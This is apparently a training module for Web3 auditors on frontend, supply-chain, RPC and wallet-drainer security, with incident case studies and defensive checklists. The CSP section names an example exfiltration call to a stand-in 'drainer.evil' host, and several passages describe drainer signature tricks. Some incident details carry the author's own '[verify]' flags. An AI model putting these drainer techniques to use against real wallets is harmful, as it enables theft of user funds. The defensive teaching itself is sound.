Week 13 — Frontend, dApp & Infrastructure
“The wallet shows what the user signs. The contract trusts what it receives. Everything in between — the HTML loaded from a CDN, the JS bundle pulled from npm, the RPC node that answers
eth_call, the indexer that decides what the UI displays, the relayer that submits the tx — is an unaudited attack surface that has drained more than nine figures of user funds since 2021. A protocol auditor who scopes only Solidity is auditing the half of the system that didn’t get hacked.”
Tags: web3-security frontend infrastructure supply-chain rpc wallet-drainer incident-response Learner: Past Tuan-12-Wallet-AA-Key-Management → understands signing UX and AA → ready for the off-chain attack surface Time: 7 days (5–6h/day) Related: Tuan-12-Wallet-AA-Key-Management · Tuan-14-Governance-DAO-Security · Case-BadgerDAO-Frontend-2021 · Case-Galxe-Frontend-Hijack-2023 · Case-Radiant-Capital-2024
1. Context & Why
1.1 The auditor’s reframe of “frontend security”
Junior auditors triage a request as “frontend audit” and instinctively scope it down: “we audit smart contracts, the frontend is a separate engagement.” Senior auditors push back. The reason is structural:
A correct smart contract called with the wrong calldata is exactly as drained as a buggy smart contract called with correct calldata. The user does not distinguish. The funds move identically. The recovery path is identical (i.e., often nonexistent).
Everything between the user’s intent and the chain’s state machine is a place where the calldata can be changed without the user noticing. Concretely, the value-bearing trust seams a “Web3 application” exposes are:
flowchart LR U[User intent<br>send 1 ETH to vault] --> DNS[DNS / Domain] DNS --> CDN[CDN / Hosting<br>Cloudflare / Vercel / IPFS gateway] CDN --> HTML[HTML / JS bundle] HTML --> NPM[npm dep tree<br>500+ transitive packages] HTML --> W[Wallet<br>EIP-1193 provider] HTML --> RPC[RPC endpoint<br>Infura / Alchemy / public] HTML --> IDX[Indexer / Subgraph<br>The Graph / Goldsky] W --> RPC RPC --> MEM[Mempool / Relay] MEM --> P[Block Proposer] P --> SC[Smart Contract] REL[Relayer / Keeper<br>Gelato / Chainlink Auto] --> MEM IDX --> HTML style DNS fill:#ffcccc style CDN fill:#ffcccc style HTML fill:#ffcccc style NPM fill:#ffcccc style W fill:#fff2cc style RPC fill:#ffcccc style IDX fill:#ffcccc style REL fill:#fff2cc style MEM fill:#fff2cc
Red = trust seams outside the contract. Every red box has caused a nine-figure incident in the last five years. The contract itself was usually fine.
The unifying meta-model from Tuan-05-Vulnerability-Classes-Part-1 applies here too:
The user’s mental model assumes the bytes between their hand and the chain are unchanged. The reality is that any of a dozen intermediaries can change them — and the wallet has no idea what the “intended” bytes were.
This is the week we make that surface concrete and auditable.
1.2 Why “frontend bugs” got worse, not better
Three trends since 2021 have made this surface more dangerous, not less:
- Approval-based UX won. Permit, permit2,
setApprovalForAll, EIP-7702 set-code-tx — modern dApps minimize on-chain transactions by collecting off-chain signatures that the protocol later submits. A signature is a check the user wrote; the protocol decides when to cash it. A compromised frontend doesn’t need to publish a transaction — it needs to collect one signature. - Build pipelines got longer. A 2018 dApp had a handful of dependencies. A 2026 dApp has 500–1500 npm packages, half of them transitively maintained by people the protocol team has never heard of, plus a CI pipeline, a feature-flag service, an analytics injector, a wallet-kit SDK, and a CDN-side worker. Each is a writable input to what the user’s browser executes.
- Wallets blind-sign more than ever. Hardware wallets still display “approve transaction” hashes the user can’t decode. Smart accounts (ERC-4337) display UserOp data that maps unintuitively to what is actually being authorized. Phishing converged on a few high-conversion patterns: drainer kits, permit2 abuse,
setApprovalForAll.
The Bybit incident in February 2025 — $1.4 billion drained from a cold wallet via injected JavaScript in the Safe{Wallet} UI that swapped a routine execTransaction for a delegatecall to an attacker contract — is the canonical 2025 example. [verify Bybit details; the public analysis is from NCC Group, Sygnia, and Halborn]. The smart contract did exactly what it was told. What it was told changed in the last 200 milliseconds before the signer clicked.
1.3 What you’ll be able to do by Friday
- Trace an end-to-end wallet-connect → sign → submit flow and name every component that can lie.
- Audit a
wagmi/viemintegration for the EIP-1193 / EIP-6963 / WalletConnect surface. - Identify a phishing-style sign request that does not match the displayed action (specifically: permit/permit2 abuse).
- Read a project’s
package.json+package-lock.jsonand articulate its supply-chain risk profile. - Audit a Forta detection bot configuration and propose at least one custom detector.
- Write the first 60 minutes of an incident-response runbook for “frontend hijacked, drainer live.”
1.4 Primary references
2. The Wallet Connection Flow
2.1 EIP-1193 — the original provider interface
EIP-1193 defines what a “Web3 provider” is from the dApp’s point of view: a JavaScript object exposing a single request({ method, params }) method (Promise-returning) plus an event emitter for accountsChanged, chainChanged, disconnect, connect, message.
// EIP-1193 minimal surface
interface Provider {
request(args: { method: string, params?: any[] }): Promise<any>;
on(eventName: string, listener: (...args: any[]) => void): void;
removeListener(eventName: string, listener: Function): void;
}
// Typical dApp connect flow
const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
const chainId = await window.ethereum.request({ method: 'eth_chainId' });
const sig = await window.ethereum.request({
method: 'personal_sign',
params: [message, accounts[0]]
});For years, the convention was that any browser-extension wallet that wanted to be reachable injected itself into window.ethereum. This was a race condition. Two extensions both writing the same property at load time made the “winner” the last-loaded extension. Users with MetaMask + Coinbase + Rabby installed could not deterministically pick which signed.
Audit-relevant property of EIP-1193: there is no integrity binding between the call the dApp sends and the prompt the wallet shows. The wallet receives {method, params}, then independently decides what UI to render to the user. If method = "eth_signTypedData_v4" and params[1] is a permit2 blob authorizing 2^256-1 USDC, the wallet’s UX has to be the one to surface that, not the dApp. Several wallets historically rendered such permits as opaque blobs, which is why drainer kits target this surface.
2.2 EIP-6963 — multi-wallet discovery, the right way
EIP-6963 (eips.ethereum.org/EIPS/eip-6963) replaces the window.ethereum monopoly with a window-event-based discovery protocol:
// Wallet side — announces itself
window.dispatchEvent(new CustomEvent('eip6963:announceProvider', {
detail: Object.freeze({
info: {
uuid: 'd77b3361-2123-4c1f-a1e3-1f4d3a9c2e7e',
name: 'MetaMask',
icon: 'data:image/svg+xml;base64,...',
rdns: 'io.metamask',
},
provider: metamaskProvider, // EIP-1193 compliant
}),
}));
// dApp side — discovers all available wallets
const providers = [];
window.addEventListener('eip6963:announceProvider', (event) => {
providers.push(event.detail);
});
window.dispatchEvent(new Event('eip6963:requestProvider'));Audit angle for EIP-6963:
| Check | Why it matters |
|---|---|
Does the dApp still fall back to window.ethereum as a default-pick? | If yes, a malicious extension that injects first can be selected silently. The dApp should prompt the user to pick from the announced set. |
Does the dApp trust info.rdns for identification? | rdns is a self-claimed reverse-DNS string. A malicious extension can claim io.metamask. The user, not the dApp, must visually verify. |
Does the dApp re-announce requestProvider after late-loading wallets? | Some wallets register late; missing the announcement = invisible wallet. |
| Is the provider object frozen / cached securely? | A Object.freeze on the announce side is the spec. Verify the dApp doesn’t mutate or expose it back to the page in a way that lets other scripts intercept. |
The 2024–2026 trend: every modern wallet kit (RainbowKit, ConnectKit, Web3Modal/Reown AppKit, wagmi’s connectors) is EIP-6963 first. If you audit a dApp still reaching directly into window.ethereum, that’s not just a UX miss — it’s a security finding because it forces the user back into the race-condition era and gives malicious extensions an easy seat.
2.3 WalletConnect v2 — sessions, pairing, relays
WalletConnect is the protocol that lets a mobile wallet sign for a desktop dApp without the wallet being in the browser. v2 (the only version you should audit; v1 is deprecated and known to have replay issues) decouples pairing (the dApp ↔ wallet trust handshake) from session (the persistent permissioned context).
sequenceDiagram participant dApp participant Relay as WalletConnect Relay (WebSocket) participant Wallet as Mobile Wallet dApp->>Relay: Generate pairing URI (topic + symKey) Note over dApp: Display QR code with URI Wallet->>Wallet: Scan QR → derive topic + symKey Wallet->>Relay: Subscribe to pairing topic dApp->>Relay: Encrypted session proposal (chains, methods, events) Relay->>Wallet: Forward proposal Wallet->>Wallet: User approves → derives session topic + new symKey Wallet->>Relay: Encrypted session approval Relay->>dApp: Forward approval Note over dApp,Wallet: Session established; dApp + wallet now share E2E-encrypted channel via Relay dApp->>Relay: encrypted request (eth_sendTransaction) Relay->>Wallet: forward Wallet->>Wallet: User approves on device Wallet->>Relay: encrypted response (signed tx) Relay->>dApp: forward
Critical security properties of WalletConnect v2:
| Property | What it means | Audit angle |
|---|---|---|
| Relay is a dumb pipe | Relay sees only encrypted ciphertext + topic id; cannot read messages | Verify the dApp uses the official relay or a relay it trusts; a malicious relay can DoS but not decrypt |
| Pairing URI carries symKey | Anyone with the URI can decrypt the pairing topic | Treat pairing URI like a password; don’t log or proxy it |
| Session permissions are explicit | methods and chains arrays in the session proposal | Audit that requested methods are minimal — personal_sign + eth_sendTransaction is suspicious if the app only needs reads |
| Session expiry | Sessions have a TTL (default 7 days at time of writing) | Audit re-auth UX; sessions silently expire and re-request — a phishing site can exploit the re-prompt |
The Trail of Bits audit of v2 (March 2022) flagged a few concerns worth carrying into reviews: local-storage XSS exposure of session keychain, lack of replay protection in the initial spec (later patched), and a derived-key zero edge case in x25519 if rejectZero is not enabled. These are SDK-level issues. The audit angle for a consumer of WalletConnect is: which SDK version is pinned, and does the app run on a domain that has any cross-origin XSS exposure that could exfiltrate local-storage session keys?
2.4 The modern client stack: wagmi + viem (and ethers v6 for legacy)
viem is a low-level TypeScript Ethereum client that replaced ethers v5 as the de-facto for new projects. It’s tree-shakeable, typed end-to-end, and explicit about every RPC call. wagmi sits on top of viem and provides React hooks: useAccount, useConnect, useReadContract, useWriteContract, useSimulateContract, useSignTypedData.
Security-relevant features of the wagmi+viem stack:
useSimulateContract: runseth_callagainst the target with the user’s account as caller before the user signs. Catches reverts before they cost gas. Crucially, the simulation runs against whatever RPC the dApp configured — if that RPC is malicious, the simulation is a lie (more in §4).signTypedDatais EIP-712 native: the dApp passes a typed-data object; viem encodes it and routes viaeth_signTypedData_v4. The wallet receives a structured payload it can render human-readably — if it implements EIP-712 rendering. (MetaMask does; many embedded wallets do not.)chainsarray is explicit per-project: viem requires you to configure the chain. The library does not silently accept “whatever the wallet says is the current chain id.” This prevents a class of dApp bugs where a user is connected to mainnet but the dApp thought they were on a testnet.@wagmi/connectorsincludes EIP-6963-aware injected connector, WalletConnect connector, Coinbase Wallet connector, Safe connector. Audit which connectors are bundled — bundling a connector you don’t intend to support enlarges the attack surface (drainers can target your dApp through it).
ethers v6 is still in widespread use for older dApps. Auditor concerns specific to ethers:
JsonRpcProviderwith a public RPC URL — same trust assumption as viem.Walletclass can hold private keys in process memory; never accept user PKs in a frontend.- v6 signature methods:
signMessage,signTypedData— both correctly produce EIP-191 / EIP-712 outputs; the wallet UX issue is independent of the library.
2.5 What auditors flag in connection-flow code
Add to the checklist:
- EIP-6963 implemented; falls back to legacy injection only with a user-visible warning.
- WalletConnect SDK pinned to a current major version (not v1, not an old v2 patch with known issues).
- WalletConnect project id is environment-scoped (not committed to public repo as-is for production).
- Session permissions are minimal; no blanket
eth_sendTransactionif the app uses only reads. - No private-key input field anywhere in the dApp UI (sounds obvious; phishing clones include them; legitimate dApps should bail loudly if a paste of a 64-char hex string is detected).
- Chain id is verified before any signing prompt; if
chainIdfrom the wallet doesn’t match the chain the dApp configured, refuse and prompt to switch. - All signing requests go through a single application-layer function that logs / surfaces what is being signed (for both debug and audit trail purposes).
3. Frontend Attack Surfaces
This is where most non-contract Web3 losses live. Each subsection is one attack surface, with at least one canonical incident.
3.1 DNS hijack
DNS hijacking is the attacker convincing the world’s resolvers to route your domain to their server. There are three common vectors:
- Registrar phish / social-engineering. The attacker contacts the registrar’s support pretending to be the protocol team, with forged ID documents, and asks for a NS-record change. This is the Galxe (Oct 2023) incident: a threat actor impersonated Galxe staff to Dynadot support, bypassed support’s process with falsified documentation, and changed
NSrecords. Users hittinggalxe.comsaw a phishing UI; approximately 1,120 users lost ~$270k in roughly two hours. - DNS provider account compromise. The attacker steals credentials at the DNS provider (or, in some cases, the registrar admin account itself). Curve (Aug 2022): the attacker compromised the nameserver of
iwantmynameand pointedcurve.fito a clone. ~$575k drained. Curve subsequently moved tocurve.financeand recommended that protocols use ENS as a discoverability layer for the canonical IPFS hash of the UI. - DNS cache poisoning / route hijack. Less common at the user level (modern resolvers + DNSSEC mitigate), more common at BGP / ISP level for targeted attacks.
Defense-in-depth checklist for DNS:
- Registrar with hardware-MFA-required transfer-lock (Namecheap, Gandi, Cloudflare Registrar with FIDO2).
- Registrar lock + DNSSEC.
- DNS records monitored externally (Forta has a community detector for nameserver changes; commercial: DNSCheck, RIPE Atlas, your own cron + alert).
- Out-of-band notice channel (Discord, Twitter, on-chain) so users have a place to verify the domain when in doubt.
- Canonical interface published on IPFS pinned via at least two providers (e.g., Pinata + Cloudflare Web3 + own node) and ENS record (
contenthash) pointing to the IPFS hash. Wallets like MetaMask can resolvename.eth→ IPFS hash → ContentID; users with that wallet bypass DNS entirely.
Note on IPFS hijack: ENS pointing to IPFS doesn’t solve the problem fully. If the team’s ENS controller key is compromised, the attacker repoints contenthash to their malicious IPFS hash. ENS controller keys should live in a multisig.
3.2 CDN / hosting compromise (the BadgerDAO archetype)
BadgerDAO, November 2021. The protocol team’s Cloudflare account was used to deploy a Cloudflare Worker (an edge script that runs on every request) that injected JavaScript into the app.badger.com HTML response. The injected script intercepted Web3 transactions and prompted users to sign an extra setApprovalForAll-style approval to an attacker address. Loss: ~$120M.
The attack post-mortem (badger.tools) flagged several details every auditor should internalize:
| Detail | Lesson |
|---|---|
| Attacker had an unauthorized Cloudflare API key created without team knowledge | Audit all API keys with write access to hosting/CDN/DNS; many providers list keys with read+write as a default |
| Attacker deployed the worker only periodically, often for minutes | Detection by “did the script change today?” is insufficient; need continuous integrity checks |
| Worker targeted only wallets with balances above a threshold, skipped known team multisig signers | Stealth — explains why the attack ran for ~5 weeks before disclosure |
| Worker used different hash on each deployment | Static IOC matching (a single content hash) doesn’t catch this; need behavioral signatures (script attempts to modify wallet RPCs, etc.) |
Defense-in-depth checklist for hosting:
- Inventory every API key with write access to your CDN / hosting / DNS / pinning service. Rotate quarterly. Use scoped tokens (read-only for analytics, write-only for the CI deployer, etc.).
- MFA required for all admin accounts; FIDO2 hardware key beats TOTP. SMS 2FA is not acceptable for prod admin.
- Cloudflare Workers / Vercel Edge Functions / Netlify Edge Functions: treat each as a deployable like the application itself. Every change should go through CI, not console clicks.
- Audit-log monitoring: Cloudflare, Vercel, Netlify all emit audit logs. Forward them to a SIEM or at minimum a Discord webhook the security team reads daily.
- Integrity-monitoring of the deployed bundle from external vantage: a cron that fetches
https://app.yourdao.org/main.<hash>.jsfrom a third-party network (GitHub Actions IP, a Hetzner box, residential proxy) and asserts its SHA-256 matches the deploy. If they diverge, you’ve got a worker-style injection.
3.3 npm supply chain — the recurring nightmare
Frontend bundles include hundreds of packages. Any one of them, or any one of their transitive dependencies, can be compromised. Five canonical incidents to internalize:
3.3.1 event-stream (November 2018) — the credentialed handover
- Mechanism: original maintainer of
event-stream(millions of weekly downloads) handed maintainership to a stranger (“right9ctrl”) who had submitted reasonable PRs. New maintainer added a malicious dependencyflatmap-streamwith payload that targeted the BitPay/Copay Bitcoin wallet. The payload decrypted itself using thedescriptionfield from the consuming package’spackage.json— so it only activated inside Copay’s build. - Lesson: dependency ownership transfer is a security event. There is no notification when a package you depend on transitively changes maintainer. Modern mitigations: GitHub’s dependabot reports maintainer changes (partially); Socket.dev / Snyk advisory feeds; running
npm-audit-resolver-style audits.
3.3.2 ua-parser-js (October 2021) — the account takeover
- Mechanism: maintainer’s npm account compromised. Attacker published three versions (0.7.29, 0.8.0, 1.0.0) of a package downloaded ~8M times per week, with a Monero cryptominer + password-stealer for Windows. Live for ~4 hours before takedown.
- Lesson: even first-party maintainer accounts are compromise targets. Defense: maintainers should enforce 2FA on npm (
npm profile enable-2fa auth-and-writes), and consumers should pin exact versions (not^semver) for any dependency in the critical path.
3.3.3 IconBurst (July 2022) — the typosquatting campaign
- Mechanism: attackers published packages with names a single typo away from popular packages (e.g.,
ioniciovsionicons, names mimickingumbrellajs). The malicious packages exfiltrated form data (including credentials) via jQuery AJAX. >25 packages, >27k downloads. - Lesson: human typos are exploitable. Defense: lockfiles, code review on every new dependency including transitive new additions (
npm ls --depth=0before and after), automated reviews via Socket.dev (which flags malicious patterns:postinstallscripts, suspicious network IO, obfuscated code, install-time fs writes).
3.3.4 Ledger Connect Kit (December 2023) — the Web3-targeted attack
This one is required reading for any auditor.
- Mechanism: a former Ledger employee was phished; the attacker used the former employee’s NPM API key (which had not been revoked despite all other accesses being revoked) to publish malicious versions 1.1.5/1.1.6/1.1.7 of
@ledgerhq/connect-kit. The malicious code injected the Angel Drainer payload — a wallet drainer that intercepts WalletConnect interactions and routes funds to the attacker. - Impact: dApps that pulled
@ledgerhq/connect-kittransitively (a long list — many wallet kits depend on it) were live-serving drainer code to users. Live for ~5 hours; ~2 hours of active drain. Direct losses ~$600k; downstream-protocol response cost (audits, comms, rollbacks) much higher. - Lessons (multiple, each worth internalizing):
- Offboarding includes npm publishing rights — most companies forget npm in their access-revocation runbook.
- API keys bypass 2FA — npm 2FA does not apply to long-lived API tokens. Treat API tokens as exactly as sensitive as a master password.
- Transitive supply-chain attacks are silent — most affected dApps had no idea they shipped
@ledgerhq/connect-kitbecause it was three levels deep in their tree. - The Angel Drainer kit exists as Software-as-a-Service — there is a market for “I have compromised an npm package; rent my drainer payload and I’ll cut you in.” This commoditizes the attack.
3.3.5 Recent: nx, lottie-player, and the trend
[verify recent incidents through 2026] — the pattern continues. Search the npm advisory board and Socket.dev’s blog for the latest. Several incidents in 2024–2025 targeted Web3-adjacent packages specifically because the post-exploit cash-out is on-chain and fast.
Build pipeline / CI compromise — closely related class. The attacker doesn’t need npm; they need write access to the repo, to a maintainer’s GitHub account, or to the CI secrets (Vercel deploy keys, Cloudflare API token, etc.). The 2024 SolarWinds-style for crypto: Radiant Capital, where attackers compromised developer workstations via spear-phishing and used the resulting access to subtly modify transactions during signing. See Case-Radiant-Capital-2024 for the in-depth treatment.
3.3.6 Supply-chain defense-in-depth checklist (frontend)
- Lockfiles committed (
package-lock.json/yarn.lock/pnpm-lock.yaml) and pinned in CI. - Exact-version pinning for any package that touches wallet, signing, or network IO.
^0.5.2is too loose for@ledgerhq/connect-kit. - Provenance verification via npm provenance / SLSA (where publisher publishes signed attestation).
- Build pipeline isolated from the developer workstations: builds happen on a clean CI runner, not someone’s laptop.
- Reproducible builds: same source + lockfile → same bytes. Compare CI output to a second-environment build before deploy.
- Dependency review on PR: tools like Socket.dev, Snyk, Renovate’s “package added” alert.
- Postinstall scripts disabled for unfamiliar packages (
npm config set ignore-scripts truefor at least audit/CI environments). - Bundle integrity served via SRI (§3.5) — even if the npm package is compromised at install-time, a subsequent rebuild with mismatched hashes can be detected by the user’s browser.
- Outbound network monitoring on CI: a CI build that suddenly POSTs to an unknown host during
npm installis the loudest possible signal. - A bill of materials (SBOM) per release. CycloneDX or SPDX format. Lets you instantly query “did our v1.4.2 ship a vulnerable version of X?“
3.4 Build pipeline compromise
Slightly distinct from npm: the attacker has commit, CI, or deploy access.
| Vector | What it looks like | Defense |
|---|---|---|
| Compromised maintainer GitHub | Malicious commit signed with stolen SSH key | Require signed commits (Sigstore / GPG); branch protection requiring multi-reviewer; FIDO2 on GitHub |
| Compromised CI secret | VERCEL_TOKEN exfiltrated → attacker deploys outside the normal pipeline | Limit secret scope (deploy only specific projects); rotate; require manual approval gates for prod deploys |
| Malicious PR merged | Subtle change that fetches malicious payload at runtime | PR review with auditor-style scrutiny on diffs touching fetch, eval, encoded strings, addresses |
| CI runner compromise | Attacker controls the build environment | Use ephemeral runners; never reuse a build artifact across pipelines; pin runner images |
| Dev workstation compromise | Malware on a maintainer laptop manipulates npm publish outputs | Build only on CI, never npm publish from a laptop; hardware-key-required signing |
The Radiant Capital October 2024 incident is the most studied recent example of dev-workstation compromise leading to an on-chain attack (Case-Radiant-Capital-2024). It’s not strictly frontend but the same threat model — what the signer sees vs. what is actually signed — applies.
3.5 Subresource Integrity, CSP, COOP/COEP
These are the four web-platform defenses every dApp should configure. None of them is a silver bullet; each closes a specific class of attack.
3.5.1 Subresource Integrity (SRI)
MDN SRI. When you load a script from a CDN, you can pin its content hash:
<script
src="https://cdn.example.com/wallet-sdk-1.2.3.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>The browser will refuse to execute the script if the SHA-384 doesn’t match. This means a compromised CDN can’t silently swap your wallet-kit for a malicious version.
Audit angle:
- Every external script tag has
integrity=...andcrossorigin=.... - Integrity hashes are committed to the repo and regenerated on every dependency upgrade.
- No
eval,Function(), dynamically-injected<script>tags loading from external URLs.
Caveats:
- SRI doesn’t help if the first-party bundle is compromised at build time (the integrity hash on
<script src="/main.js">is for the bundle you built; if the build itself was compromised, the hash matches the compromised version). - SRI requires
crossorigin+ CORS headers from the CDN. Some CDNs don’t set them by default.
3.5.2 Content Security Policy (CSP)
Content-Security-Policy: default-src 'self';
script-src 'self' 'sha256-AbC...';
connect-src 'self' https://rpc.example.io https://*.walletconnect.com;
frame-ancestors 'none';
form-action 'self';
base-uri 'self';CSP restricts what the page can do: which origins can load scripts, which can be fetch’d, whether eval is allowed, where forms can submit. A correctly-configured CSP makes a XSS injection much less useful because the injected script can’t fetch('https://drainer.evil/exfil') if connect-src doesn’t include it.
Audit angle:
- CSP is set (header, not meta tag — meta tag CSP has timing gaps).
-
script-srcdoes not include'unsafe-inline'or'unsafe-eval'. Many dApps fail this; ask why. -
connect-srcis an explicit allow-list of RPCs, indexers, analytics, and WalletConnect relays. A wallet-drainer’s exfil URL won’t be on this list. - CSP report-only mode is enabled at minimum during development to detect overly-strict rules.
- CSP doesn’t whitelist
https:as a wildcard (defeats the point).
3.5.3 COOP / COEP
Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp together enable cross-origin isolation, which:
- Prevents another window from accessing your
window.opener. - Enables
SharedArrayBuffer/ fine-grained timers (relevant for some cryptographic operations). - Hardens the page against Spectre-class side channels.
For a wallet UI specifically, COOP matters because a malicious popup can otherwise control the opener — and if the user clicked through a phishing link to your real dApp, a stale popup could intercept. Set both.
3.6 The drainer kit ecosystem (cross-reference Week 12)
Modern wallet drainers (Inferno, Angel, Pink, Monkey, Venom — names rotate as kits get taken down) follow a similar pipeline:
flowchart LR P[Phishing site<br>identical to real dApp] --> C[Connect wallet prompt] C --> F[Fingerprint wallet:<br>EOA? Safe? Holdings?] F --> D{Decide drain method} D -->|EOA, ERC-20 holder| A1[Request permit2 signature<br>for max allowance] D -->|EOA, NFT holder| A2[Request setApprovalForAll] D -->|Safe signer| A3[Request execTransaction<br>with delegatecall payload<br>Bybit pattern] D -->|EOA, native ETH| A4[Trick into eth_sendTransaction<br>to attacker] A1 --> S[Signature collected] A2 --> S A3 --> S S --> X[Drainer infra submits tx<br>often via Flashbots private bundle<br>to evade frontrunning + mempool watchers] X --> R[On-chain drain]
What an auditor flags in a frontend review to make a real dApp drain-resistant:
- No production code ever requests a signature whose displayed content doesn’t match the displayed action. If the user clicks “Stake 100 USDC”, the signing prompt must read like “stake 100 USDC”, not “approve 2^256-1 USDC for spender 0xWhatever”.
- Permit / permit2 amounts default to the exact required amount, not
type(uint256).max. Power-user mode can opt into max approval explicitly with a warning. - The signing payload is rendered to the user in plain language by the dApp before the wallet prompt fires. Don’t rely on the wallet to be smart enough.
- Cross-check chainId in the signature against the user’s connected chain. A common drainer trick is to request a signature whose embedded
chainIdis for a different chain (so the user sees nothing happening on their chain but the signature replays on the chain it was bound to). - Refuse to display a signing prompt when the wallet is a Safe with delegatecall operation requested unless the action is explicitly an upgrade or module install. The Bybit attack was indistinguishable to the signer; smart-contract UIs should refuse delegatecall by default and require an explicit “yes, this is an upgrade” toggle.
4. RPC Trust
4.1 What an RPC can do (and your dApp probably won’t notice)
Every dApp sends every eth_call, eth_estimateGas, eth_sendRawTransaction, eth_getLogs through an RPC endpoint. Most dApps trust the RPC implicitly. Most users let the wallet pick.
A malicious or compromised RPC can:
| Attack | Result |
|---|---|
Lie about chain head (return stale latest) | dApp shows the user old state; signed permits expire before the user notices |
Lie about eth_call results | Simulation says the tx will succeed; in reality it reverts or does something else |
| Lie about gas estimates | dApp under/over-pays; can DoS the user or make transactions fail consistently |
| Censor transactions | eth_sendRawTransaction returns success but never forwards to mempool |
| Leak tx contents | RPC operator sees your raw signed tx before mempool — front-running risk |
| Lie about logs / receipts | dApp displays a tx as confirmed when it wasn’t, or vice versa |
| Return false contract code | eth_getCode returns one bytecode for the simulation, real chain has different bytecode |
This isn’t theoretical. There have been incidents of malicious public RPC providers and there are known cases of RPC operators selling user tx contents as a data product.
4.2 Public vs private RPC
| Type | Examples | Trust assumption | When to use |
|---|---|---|---|
| Public, free, rate-limited | Public Ethereum endpoints, default wallet RPCs | Operator could lie or rate-limit | Low-stakes reads only |
| Public infra provider, authenticated | Infura, Alchemy, QuickNode, Ankr | Trust the provider; SLA contract; corporate accountability | Default for most dApps |
| Multi-provider with failover | Several routed via a load balancer (Tatum, dRPC) | Distributes trust; one provider lying gets caught by quorum | High-value flows |
| Self-hosted | Your own geth/reth/nethermind/erigon node | You are the trust assumption | Highest-stakes; market makers, large protocols, indexers |
| Decentralized | Pocket Network, Lava, Drpc.org | Multi-operator with on-chain economics | Production-ready; trust model varies by network |
Audit checklist for RPC configuration:
- Production dApp does not rely on
window.ethereum’s default RPC. The dApp specifies its own (http.transports[chainId]in wagmi). - RPC URL is not hard-coded with a public API key (the key is leaked the moment the bundle ships). Use rate-limiting on the provider side (e.g., Alchemy’s allowlist by referrer).
- RPC failover: at least 2 providers; the dApp should detect when one is misbehaving and switch.
- No private keys are sent to the RPC. Some misconfigured dApps accidentally include sensitive data in calldata (e.g., a
permitsignature in a publiceth_call); auditors should grep for this.
4.3 RPC fingerprinting — verifying your RPC isn’t lying
Two cross-checks worth wiring into a security-conscious dApp:
4.3.1 Cross-chain-head check
const heads = await Promise.all(
rpcUrls.map(url => fetch(url, {
method: 'POST',
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'eth_blockNumber', params: [] }),
}).then(r => r.json()))
);
const blockNumbers = heads.map(h => parseInt(h.result, 16));
const max = Math.max(...blockNumbers);
const min = Math.min(...blockNumbers);
if (max - min > 3) {
console.warn(`RPC heads diverge by ${max - min} blocks`, blockNumbers);
}If three providers agree on block 18,500,000 and one says 18,499,800, that one is either stale or lying. A high-stakes dApp should refuse to operate against a divergent RPC.
4.3.2 Gas-estimate cross-check
For a sensitive transaction, estimate gas against two providers and compare. Significant divergence (>30%) is a flag.
4.3.3 Result-replay against a second provider
For eth_calls that drive UI logic (e.g., “your balance is X”), replay the same call against a second provider after a short delay. If results diverge, surface a warning.
These checks add latency. They’re not for every read. They are for value-bearing reads — the balance you display before someone signs a withdraw, the price you display before a swap, the simulation output you display before a sign.
5. Wallet Drainer Mechanics (cross-reference Tuan-12-Wallet-AA-Key-Management)
A drainer doesn’t break crypto. It tricks the user into producing a signature that, on-chain, authorizes exactly what the attacker wants. The defense is rendering the meaning of the signature, not the bytes.
5.1 The high-conversion attack patterns of 2024–2026
5.1.1 Permit2 max-allowance abuse
Permit2 (github.com/Uniswap/permit2) is a singleton allowance manager. Once a user has approved Permit2 for token X (which they do once, often during the first Uniswap interaction), any contract integrating Permit2 can pull token X via a user-signed permit.
The drainer pattern:
- User visits malicious site.
- Site connects wallet, reads token holdings via RPC.
- Site requests a
PermitBatchTransferFromEIP-712 signature, content: “spender = drainer contract, amounts = all your tokens, deadline = far future”. - User clicks “Sign” assuming it’s the standard Permit2 approval they’ve done before.
- Drainer submits the signed message to Permit2; tokens transfer to drainer.
Why this works: the EIP-712 typed-data display in most wallets is opaque. Users see “PermitBatchTransferFrom” and 12 lines of structured fields and click through.
Detection / refusal (frontend or wallet level):
- Detect Permit2 signature requests where
spenderis not on a curated allowlist. - Detect
amount > balance * 1.5(or some sane ratio). - Detect
deadline > now + 30 days(long deadlines are flags).
5.1.2 setApprovalForAll for NFTs
The 721/1155 equivalent. Same shape: user signs a setApprovalForAll(operator, true) for the drainer’s contract; drainer’s contract pulls the user’s entire collection.
Wallets have started warning on setApprovalForAll. Drainers responded with obfuscation (calling intermediate contracts that do it indirectly).
5.1.3 Direct eth_sendTransaction with hidden ETH/contract interaction
The straightforward case: user clicks “Claim airdrop” and the dApp requests an eth_sendTransaction to attacker contract. Wallets render this; some users still click through. Drainers wrap in a contract that looks legitimate (“AirdropClaim” with a verified-source on Etherscan that doesn’t match the bytecode at deploy time [verify Etherscan source-vs-bytecode check]).
5.1.4 Safe execTransaction with delegatecall operation
The Bybit pattern. Safe multisig signers sign EIP-712 typed-data containing fields:
operation: 1 // 0 = CALL, 1 = DELEGATECALL
to: 0x96221423681A6d52E184D440a8eFCEbB105C7242 // attacker
data: <attacker payload>
The Safe UI was injected to display operation: 0 and to: <legit hot wallet>. The Ledger hardware wallets received the actual bytes (operation: 1 to attacker). The Ledger UI displayed a hash that the signers had no way to interpret without external tooling. They clicked “Approve”. The delegatecall ran in Safe storage context and changed ownership to the attacker.
Mitigations:
- Refuse
delegatecalloperations by default in the multisig UI; require a separate “this is an upgrade” toggle. - Verify EIP-712 hash off-band before signing. Safe Transaction Service publishes the hash; an independent script can recompute it from the displayed data; if they diverge, you’ve got UI tampering.
- Hardware wallet plugins like “Safe transaction parser” that decode the typed-data on the device itself, not the host UI.
5.2 What auditors flag in frontend reviews to harden against drainers
Add to checklist:
- Every signing call site is wrapped in a function that produces a human-readable summary (“You are about to allow X to spend up to 100 USDC until tomorrow”). This summary is displayed in your UI before the wallet prompt opens. Mismatches between what your UI claimed and what the wallet shows are detectable by attentive users.
- Permit2 / permit signing always defaults to exact required amount, not max.
- All sign requests cross-reference
chainIdwith the user’s active chain; refuse if mismatched. - No batch signing of multiple distinct semantic actions in one prompt unless explicitly displayed (e.g., “sign 3 actions: approve, swap, lock”). Batching that hides one action is a phishing primitive.
- Wallet kit is EIP-6963 with explicit chooser — never silent-pick the first injected provider for value-bearing actions.
